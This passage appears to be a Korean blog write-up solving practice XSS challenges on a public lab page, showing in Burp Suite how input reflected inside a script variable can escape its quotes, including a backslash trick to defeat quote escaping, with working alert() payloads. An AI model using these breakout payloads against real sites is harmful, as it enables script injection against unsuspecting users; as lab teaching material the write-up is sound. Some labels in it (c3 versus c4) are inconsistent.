&lt;li&gt;문제 페이지에 접속하여 c4 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c4 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjujbz/dJMcahb3nU3/gkoha6nrk9QeeKfx8bZ0Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjujbz/dJMcahb3nU3/gkoha6nrk9QeeKfx8bZ0Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjujbz/dJMcahb3nU3/gkoha6nrk9QeeKfx8bZ0Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjujbz%2FdJMcahb3nU3%2Fgkoha6nrk9QeeKfx8bZ0Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;362&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;c4 파라미터 값에 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 따라서 HTML 태그 기능을 사용할 수 없기 때문에 script 태그를 닫고 다시 script 태그를 삽입하면서 XSS 공격을 할 수 없게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TEIpZ/dJMcacohNlt/hwu2XOGuX8wAyj0LCzy0n1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TEIpZ/dJMcacohNlt/hwu2XOGuX8wAyj0LCzy0n1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TEIpZ/dJMcacohNlt/hwu2XOGuX8wAyj0LCzy0n1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTEIpZ%2FdJMcacohNlt%2Fhwu2XOGuX8wAyj0LCzy0n1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;359&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;태그 기능을 사용할 수 없지만 싱글 쿼터나 더블 쿼터는 사용을 할 수 있습니다. 변수의 값이 더블 쿼터로 감싸져있기 때문에 문법에 맞게 더블 쿼터를 이용하면서 한 줄 주석 처리도 가능한지 확인해 봅니다. 결과를 보면 주석 처리가 정상적으로 작동하며 변수를 벗어나 script 태그 내부에 사용자의 입력 값 삽입이 가능하다는 것을 알 수 있습니다.&lt;span style=&quot;color: #9d9d9d;&quot;&gt;(&lt;i&gt;주석 처리하는 이유는 뒤에 있습니다.&lt;/i&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;* Response를 보면 주석 처리된 부분은 색깔이 약간 다른 것을 볼 수 있습니다.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tlNh3/dJMcacPmhUn/GJQpqpiO7qrubI8sscKpx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tlNh3/dJMcacPmhUn/GJQpqpiO7qrubI8sscKpx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tlNh3/dJMcacPmhUn/GJQpqpiO7qrubI8sscKpx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtlNh3%2FdJMcacPmhUn%2FGJQpqpiO7qrubI8sscKpx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;361&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 줄 주석 처리가 가능하고 더블 쿼터를 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드: dddd&quot;;alert('1');//test&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;싱글 쿼터('), 세미콜론(;)을 이용하여 변수를 벗어나 script 태그 내부에 사용자의 입력 값이 삽입될 수 있습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[코드 예시]&lt;/b&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; var c3 = '__입력 값___';&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 전&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; var c3 = '&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd&quot;;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 후&lt;/span&gt;&lt;br /&gt;&amp;nbsp; alert('1');&lt;br /&gt;&amp;nbsp; //test&lt;/span&gt;';&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2UL8N/dJMcahiPAtJ/PeBpHwAGA2QcUxq49M5elK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2UL8N/dJMcahiPAtJ/PeBpHwAGA2QcUxq49M5elK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2UL8N/dJMcahiPAtJ/PeBpHwAGA2QcUxq49M5elK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2UL8N%2FdJMcahiPAtJ%2FPeBpHwAGA2QcUxq49M5elK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;366&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q1tv1/dJMcaiPwRHL/RUDif2kxXTcUgTLMciKLa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q1tv1/dJMcaiPwRHL/RUDif2kxXTcUgTLMciKLa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q1tv1/dJMcaiPwRHL/RUDif2kxXTcUgTLMciKLa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq1tv1%2FdJMcaiPwRHL%2FRUDif2kxXTcUgTLMciKLa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;433&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;682&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzQa8J/dJMcahQFEdf/dGF0REUc2Wc6y7KIA4D6bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzQa8J/dJMcahQFEdf/dGF0REUc2Wc6y7KIA4D6bK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzQa8J/dJMcahQFEdf/dGF0REUc2Wc6y7KIA4D6bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzQa8J%2FdJMcahQFEdf%2FdGF0REUc2Wc6y7KIA4D6bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;433&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;682&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크 - https://x55.is/brutelogic/xss.php?c5=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 c5 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c5 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2GQt2/dJMcad1KlQg/X6MCLXjV9kSk3LhQE66ppK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2GQt2/dJMcad1KlQg/X6MCLXjV9kSk3LhQE66ppK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2GQt2/dJMcad1KlQg/X6MCLXjV9kSk3LhQE66ppK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2GQt2%2FdJMcad1KlQg%2FX6MCLXjV9kSk3LhQE66ppK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;366&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;c4 파라미터 값에 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 또한 싱글 쿼터 앞에&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;\ ( &lt;b&gt;₩&lt;/b&gt; )&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;background-color: #ffffff;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기호가 붙으며 escape 처리가 되고 있는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;* escape: 특수 기능을 가진 문자를 문자 그대로 사용하도록 해주는 것을 말합니다.&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcpZVE/dJMcaivd8BS/NAKks6XUFSRdIqkTGHIAo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcpZVE/dJMcaivd8BS/NAKks6XUFSRdIqkTGHIAo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcpZVE/dJMcaivd8BS/NAKks6XUFSRdIqkTGHIAo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcpZVE%2FdJMcaivd8BS%2FNAKks6XUFSRdIqkTGHIAo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;361&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;escape 처리해 주는 \ 기호를 삽입하고 Response를 확인합니다. Response를 확인하면 원래 변수의 값이 싱글 쿼터로 감싸지며 감싸진 내부가 문자열로 인식 되도록 해야 하는데 싱글 쿼터가 그냥 문자로 인식되면서 문법이 파괴된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzJuKL/dJMcagjUQAB/OzeovGfKlkg44SpUtrv2GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzJuKL/dJMcagjUQAB/OzeovGfKlkg44SpUtrv2GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzJuKL/dJMcagjUQAB/OzeovGfKlkg44SpUtrv2GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzJuKL%2FdJMcagjUQAB%2FOzeovGfKlkg44SpUtrv2GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;359&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 escape 처리 문자를 escape 처리했을 때 Response를 확인합니다. Response를 보면 escape 문자가 escape 처리되어 그냥 문자로 인식되었고 이로 인해 싱글 쿼터가 변수의 값을 정상적으로 감싸며 문법이 파괴되지 않은 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSWlNU/dJMcachwfwq/7MPoRFfivQSxkXJgfHdqdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSWlNU/dJMcachwfwq/7MPoRFfivQSxkXJgfHdqdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSWlNU/dJMcachwfwq/7MPoRFfivQSxkXJgfHdqdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSWlNU%2FdJMcachwfwq%2F7MPoRFfivQSxkXJgfHdqdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;363&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[추가 설명]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;입력: dddd\&lt;br /&gt;출력: var c5 = '&lt;span style=&quot;color: #409d00;&quot;&gt;dddd\'; &lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 문자열이 싱글 쿼터로 감싸져야 하는데 escape 처리로 맨 뒤 싱글 쿼터가 그냥 문자로 인식되며 문법 파괴.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;입력: dddd\\&lt;br /&gt;출력: var c5 = '&lt;span style=&quot;color: #409d00;&quot;&gt;dddd\\&lt;/span&gt;'; &lt;span style=&quot;color: #9d9d9d; text-align: start;&quot;&gt;// escape 처리 문자를 escape 처리하면 escape 문자가 그냥 문자로 쓰였기에 맨 마지막 싱글 쿼터에는 아무&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 영향이 없음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 줄 주석 처리가 가능하고 싱글 쿼터를 escape 문자로 우회하여 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드: dddd\';alert(&quot;1&quot;);//&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;사용자가 싱글 쿼터(')를 사용하면 앞에 escape 문자인 \ ( &lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;₩&lt;/b&gt;&lt;/span&gt;&lt;/b&gt; ) 기호가 앞에 생기게 됩니다. 이로 인해 사용자가 싱글 쿼터를 사용해 변수를 벗어나며 스크립트를 삽입할 수 없게 됩니다. 하지만 사용자가 싱글 쿼터 입력전에 escape 문자를 입력하게 된다면&amp;nbsp;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; \\'&amp;nbsp;&lt;/span&gt; &lt;/b&gt;이 되면서 싱글 쿼터를 escape 처리하는 문자가 싱글 쿼터 전에 입력했던 escape 처리 문자로 인해 escape 처리 문자로서의 기능이 없어져 싱글 쿼터를 사용할 수 있게 됩니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;\&amp;nbsp;&lt;/span&gt; &lt;/b&gt;: escape 기능 수행&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;\&amp;nbsp;&lt;/span&gt; &lt;/b&gt;: 그냥 \ 기호 (escape 처리되어 escape 기능을 상실함.)&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;'&amp;nbsp;&lt;/span&gt; &lt;/b&gt;: 변수의 값을 감싸는 싱글 쿼터로 인식됨.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[코드 예시]&lt;/b&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; var c5 = '__입력 값___'; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 전&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; var c5 = '&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd\';&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 후&lt;/span&gt;&lt;br /&gt;&amp;nbsp; alert(&quot;1&quot;);&lt;br /&gt;&amp;nbsp; //&lt;/span&gt;';&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oyXfG/dJMcajgBiTz/4cxmqj2wqukfCYHccIkAD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oyXfG/dJMcajgBiTz/4cxmqj2wqukfCYHccIkAD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oyXfG/dJMcajgBiTz/4cxmqj2wqukfCYHccIkAD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoyXfG%2FdJMcajgBiTz%2F4cxmqj2wqukfCYHccIkAD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;364&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
